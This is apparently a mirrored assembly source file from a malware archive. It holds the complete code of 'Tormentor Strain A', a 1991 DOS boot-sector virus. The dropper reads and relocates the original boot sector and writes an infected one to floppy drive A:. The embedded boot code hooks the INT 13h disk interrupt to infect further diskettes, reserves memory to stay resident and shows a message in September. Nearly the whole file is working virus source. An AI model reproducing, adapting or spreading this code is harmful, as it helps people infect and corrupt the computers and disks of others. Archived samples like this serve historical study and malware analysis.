mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 01:46:09 +00:00
543 lines
12 KiB
NASM
543 lines
12 KiB
NASM
code_seg segment
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assume cs:code_seg,ds:code_seg
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org 100h
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tormentor proc far
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@disp macro string
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mov dx,offset string
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mov ah,09h
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int 21h
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endm
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@exit macro
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mov ax,4c00h
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int 21h
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endm
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@cls macro mode
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mov ah,00h
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mov al,mode
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int 10h
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endm
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start: jmp main
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boot_area dw 256 dup (0)
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boot_sec dw 512 dup (0)
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message db "Tormentor Strain A",13,10
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db "Written by The High Evolutionary",13,10
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db "Copyright (C) 1991 by The RABID Nat'nl Development Corp."
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db 13,10,13,10
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db "Press any key to install onto media in drive A:",13,10
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db "(Or press CTRL-C to abort)$",13,10
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paused db 13,10,13,10
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db "[Paused] Insert destination disk if desired and press",13,10
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db "any key, otherwise, press any key$",13,10
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done db "Done!$",13,10
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r_fail db 13,10,13,10
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db "Failed to READ in boot sector$",13,10
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w_fail db 13,10,13,10
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db "Failed to WRITE boot sector$",13,10
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f_infec db 13,10,13,10
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db "SHIT! We failed to write the virus code to the disk!!!$",13,10
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r_boot db 13,10,13,10
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db "Now READING in the boot sector$",13,10
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w_boot db 13,10,13,10
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db "Now WRITING the boot sector to track 719$",13,10
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w_vir db 13,10,13,10
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db "Now WRITING the VIRUS to the boot sector$",13,10
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succ db 13,10,13,10
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db "Success! We installed Tormentor onto the drive$",13,10
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memerr db 13,10,13,10
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db "BOMB! We had a memory allocation error. Bailing out...$",13,10
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db 13,10
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read_shit db 13,10,13,10
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db "Reading in shit via INT 25...$",13,10
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db 13,10
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intro db "You are in Torment$",13,10
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bootseg dw ? ; Storage segment address or mem. block
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; containing copy of boot record
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dssave dw ? ; Storage for DS register
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;dssave dw seg group ; Storage for DS register
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pspseg dw ? ; PSP segment storage
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;stack segment para stack 'STACK' ; Code Segment
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;stack ends
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;_data segment word public 'DATA' ; Data Segment
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;_data ends
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;dgroup group data,stack ; Define segment group
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;*****************************************************************************
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; Boot record information to infect both floppies and hard-drives
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;*****************************************************************************
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bootrecord struc
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bootjump db 3 dup (?) ; Initial 3 byte jmp instruction
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oemstring db 8 dup (?) ; OEM version and DOS
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sectorbytes dw ? ; Bytes per sector
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clustersec db ? ; Sectors per cluster
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reservedrec dw ? ; Reserved sectors
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fatcopies db ? ; number of FAT copies
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direntries dw ? ; number of root dir entries
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totalsectors dw ? ; Total disk sectors
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mediadescrip db ? ; Media Descriptor
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fatsectors dw ? ; number of sectors occupied by 1 FAT
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tracksectors dw ? ; number of sectors per track
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heads dw ? ; number of heads
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hiddensectors dw ? ; number of hidden sectors
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bootrecord ends
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drive db ? ; Current drive pointer
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memalloc proc near
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push bp ; Save base pointer
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push bx ; Save BX
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mov bp,sp ; init base pointer
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xor al,al ; Zero out AL
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mov ah,48h ; Allocate mem. function
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int 21h
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jnc end_memalloc ; exit if no error
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mov word ptr [bp],bx
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end_memalloc:
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pop bx ; Restore BX
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pop bp ; Restore Base Pointer
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ret
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memalloc endp
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main:
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get_default_drive:
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mov ah,19h
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int 21h
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mov byte ptr drive,al ; Move current drive into drive
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; mov ds,dssave ; Initialise DS
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; mov ax,es ; get PSP address
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; mov word ptr pspseg,ax ; and save it...
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jmp read_boot
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; mov bx,40h ; Allocate 1024 bytes
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; call memalloc ; Allocate BX block of memory
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; jnc read_boot
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; @disp memerr
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; jmp quit
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read_boot:
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@disp read_shit
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mov ah,08h
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int 21h
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mov word ptr bootseg,ax
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push ax ; Save AX onto the stack
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mov al,0
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; mov al,byte ptr drive ; Move current drive into AL
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xor ah,ah ; Zero out AH
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; pop ds ; Restore Data_seg
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pushf ; Save flags
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mov dx,0 ; Read in sector 0
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mov cx,1 ; Read in 1 sector
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mov bx,offset boot_sec ; Store data at DS:boot_sec
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int 25h ; Read in the disk
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popf ; clear flags used by flags
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@disp done
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mov ah,08h
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int 21h
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; assume ds:code_seg ; Restore DS
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begin: @cls 03
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; mov ah,00 ; Set screen
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; mov al,03 ; Set screen for 80x25 color
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; int 10h ; Call BIOS
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@disp message
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mov ah,08h ; Wait for a keypress
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int 21h
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mov cx,3
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read_sector:
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@disp r_boot ; Display that we are reading the
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; sector from the disk
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push cx ; Counter is pushed onto the stack
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mov ax,201h ; Read in 1 sector
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mov bx,offset boot_area ; Store it in boot_area
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mov cx,1 ; Set counter to 1
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mov dx,0 ; Set for drive 0, head 0
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int 13h ; Call BIOS
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pop cx ; Restore counter
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jnc good_read ; If there were no errors, then
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; jump to good_read
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loop read_sector ; Jump back and try reading the sector
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; again while CX>0
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@disp r_fail
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mov ax,4c00h ; Exit
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int 21h ; Call DOS
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good_read:
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mov cx,3 ; Set counter to 3
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@disp paused ; Display message for pause
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mov ah,08h ; Wait for a key
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int 21h ; Call DOS
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;*****************************************************************************
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; Write good sector to track 719 (Head 1, track 27, sector 9)
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;*****************************************************************************
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write_sector:
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@disp w_boot ; Display that we are writing the
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; sector to disk
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mov ax,301h ; Set for writing the boot sector
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mov bx,offset boot_area ; Set buffer to what we read in
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; mov bx,offset infected_data
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mov cx,2709h ; Set counter to 2709h
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mov dx,100h ; Head 1, drive 0
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int 13h ; Call BIOS
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pop cx ; Restore the counter
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jnc good_write ; If we wrote the sectors allright,
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; then jump to good_write
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loop write_sector
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@disp w_fail
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mov ax,4c00h ; Exit
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int 21h ; Call DOS
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good_write:
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mov cx,3 ; Copy 3 into CX
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@disp w_vir
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infect_floppy:
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push cx ; Push it onto the stack
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mov ax,301h ; Write 1 sector
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mov bx,offset infected_data ; Write corrupt boot sector to the
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; drive
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mov cx,1 ; Set counter to 1
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mov dx,0 ; Set for drive A:
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int 13h ; Call BIOS
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jnc good_infection ; If there are no problems, then
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; continue
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loop infect_floppy ; Otherwise, try again until CX=0
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@disp f_infec ; If CX=0, then display the message
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; and then exit
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mov ax,4c00h ; Exit
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int 21h ; Call DOS
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good_infection:
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@disp succ
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mov ax,4c00h
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int 21h
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;*****************************************************************************
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; The following is a copy of the infected boot sector to copy to sector 0
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;*****************************************************************************
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infected_data db 0EBh, 34h
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nop
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dec cx
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inc dx
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dec bp
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and [bx+si],ah
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xor bp,word ptr ds:[33h]
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add al,[bp+si]
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add [bx+si],ax
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add dh,[bx+si+0]
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rol byte ptr [bp+si],1 ; Rotate
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std ; Set direction flag
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add al,[bx+si]
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or [bx+si],ax
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add al,[bx+si]
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db 19 dup (0)
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; db 'Tormentor Strain A - RABID Nat''nl Development Corp.'
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adc al,[bx+si]
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add [bx+si],al
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add [bx+di],al
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add dl,bh
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xor ax,ax ; Zero register
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mov ds,ax
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mov ss,ax
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mov bx,7C00h ; Pointer to boot segment
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mov sp,bx
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push ds
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data_14 db 53h
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dec word ptr ds:[413h]
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int 12h ; Put (memory size)/1K in ax
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mov cl,6
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shl ax,cl ; Shift w/zeros fill
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mov es,ax
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xchg ax,word ptr ds:[4Eh]
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mov word ptr ds:[7DABh],ax
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mov ax,128h
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xchg ax,word ptr ds:[4Ch]
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mov word ptr ds:[7DA9h],ax
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mov ax,es
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xchg ax,word ptr ds:[66h]
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mov word ptr ds:[7DAFh],ax
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mov ax,0BBh
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xchg ax,word ptr ds:[64h]
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mov word ptr ds:[7DADh],ax
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xor di,di ; Zero register
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mov si,bx
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mov cx,100h
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cld ; Clear direction
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rep movsw ; Rep when cx >0 Mov [si] to es:[di]
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sti ; Enable interrupts
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push es
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mov ax,85h
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push ax
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retf
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push bx
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xor dl,dl ; Zero register
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call sub_2 ; (00FB)
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pop bx
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push ds
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pop es
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mov ah,2
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mov dh,1
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call sub_6 ; (011F)
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jc loc_2 ; Jump if carry Set
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push cs
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pop ds
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mov si,offset ds:[0Bh]
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mov di,offset ds:[7C0Bh]
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mov cx,2Bh
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cld ; Clear direction
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repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
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jz loc_ret_3 ; Jump if zero
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loc_2:
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pop bx
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pop ax
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push cs
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mov ax,0AFh
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push ax
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loc_ret_3:
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retf ; Return far
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read_error:
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push cs
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pop ds
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mov si,1DBh
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call sub_1 ; (00DA)
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xor ah,ah ; Zero register
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int 16h ; Keyboard i/o ah=function 00h
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; get keybd char in al, ah=scan
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xor ax,ax ; Zero register
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int 13h ; Disk dl=drive a ah=func 00h
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; reset disk, al=return status
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push cs
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pop es
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mov bx,offset ds:[200h]
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mov cx,6
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xor dx,dx ; Zero register
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mov ax,201h
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int 13h ; Disk dl=drive a ah=func 02h
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; read sectors to memory es:bx
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jc read_error ; Jump if carry Set
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mov cx,0FF0h
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mov ds,cx
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jmp dword ptr cs:data_16
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;
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; Insert Tormentor endp here...
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;
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;tormentor endp
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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; SUBROUTINE
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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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sub_1 proc near
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loc_5:
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mov bx,7
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cld ; Clear direction
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lodsb ; String [si] to al
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or al,al ; Zero ?
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jz loc_ret_9 ; Jump if zero
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jns loc_6 ; Jump if not sign
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xor al,0D7h
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or bl,88h
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loc_6:
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cmp al,20h
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jbe loc_7 ; Jump if below or =
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mov cx,1
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mov ah,9 ;
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int 10h ; Video display ah=functn 09h
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; set char al & attrib bl @curs
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loc_7:
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mov ah,0Eh
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int 10h ; Video display ah=functn 0Eh
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; write char al, teletype mode
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jmp short loc_5 ; (00DA)
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;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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sub_2:
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mov bx,200h
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mov cx,2
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mov ah,cl
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call sub_5 ; (011D)
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mov cx,2709h
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xor byte ptr es:[bx],0FDh
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jz loc_8 ; Jump if zero
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mov cx,4F0Fh
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loc_8:
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jmp short loc_ret_9 ; (0127)
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nop
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;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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sub_3:
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mov ah,2
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mov bx,200h
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;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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sub_4:
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mov cx,1
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;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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sub_5:
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mov dh,0
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;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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sub_6:
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mov al,1
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;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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sub_7:
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pushf ; Push flags
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call dword ptr cs:data_15
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loc_ret_9:
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retn
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sub_1 endp
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push ax
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push bx
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push cx
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push dx
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push es
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push ds
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push si
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push di
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pushf ; Push flags
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push cs
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pop ds
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cmp dl,1
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ja loc_11 ; Jump if above
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and ax,0FE00h
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jz loc_11 ; Jump if zero
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xchg al,ch
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shl al,1 ; Shift w/zeros fill
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add al,dh
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mov ah,9
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mul ah ; ax = reg * al
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add ax,cx
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sub al,6
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cmp ax,6
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ja loc_11 ; Jump if above
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push cs
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pop es
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call sub_3 ; (0115)
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jc loc_10 ; Jump if carry Set
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mov di,offset data_14
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mov si,offset ds:[243h]
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mov cx,0Eh
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std ; Set direction flag
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repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to
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; es:[di]
|
||
jz loc_11 ; Jump if zero
|
||
sub si,cx
|
||
sub di,cx
|
||
mov cl,33h ; '3'
|
||
rep movsb ; Rep when cx >0 Mov [si] to
|
||
; es:[di]
|
||
call sub_2 ; (00FB)
|
||
push cx
|
||
push bx
|
||
call sub_3 ; (0115)
|
||
mov ah,3
|
||
xor bx,bx ; Zero register
|
||
call sub_4 ; (011A)
|
||
pop bx
|
||
pop cx
|
||
jc loc_10 ; Jump if carry Set
|
||
mov dh,1
|
||
mov ah,3
|
||
call sub_6 ; (011F)
|
||
loc_10:
|
||
xor ax,ax ; Zero register
|
||
call sub_7 ; (0121)
|
||
loc_11:
|
||
mov ah,4
|
||
int 1Ah ; Real time clock ah=func 04h
|
||
; read date cx=year, dx=mon/day
|
||
cmp dh,9
|
||
jne not_month ; Jump if not equal
|
||
mov si,1B1h
|
||
call sub_1 ; (00DA)
|
||
not_month:
|
||
popf ; Pop flags
|
||
pop di
|
||
pop si
|
||
pop ds
|
||
pop es
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
jmp dword ptr cs:data_15
|
||
data_15 dd 0C602EC59h
|
||
data_16 dd 0F000E6F2h
|
||
esc 2,ch ; coprocessor escape
|
||
and [bp+di-4141h],al
|
||
movsb ; Mov [si] to es:[di]
|
||
idiv word ptr [bp-85Ch] ; ax,dxrem=dx:ax/data
|
||
xchg ax,si
|
||
mov si,offset ds:[0B4A5h]
|
||
mov ax,0DAA7h
|
||
esc 5,[bx+si] ; coprocessor escape
|
||
db 'IO SYSMSDOS SYS', 0Dh, 0Ah
|
||
db 'Non-system disk or disk error', 0Dh
|
||
db 0Ah
|
||
add [bx+si],al
|
||
push bp
|
||
; jmp cont
|
||
|
||
; db 'Tormentor Strain A - RABID Nat''nl Development Corp.'
|
||
stosb
|
||
;cont: stosb ; Store al to es:[di]
|
||
|
||
tormentor endp
|
||
|
||
quit: mov ax,4c00h
|
||
int 21h
|
||
|
||
|
||
code_seg ends
|
||
end start
|
||
|
||
|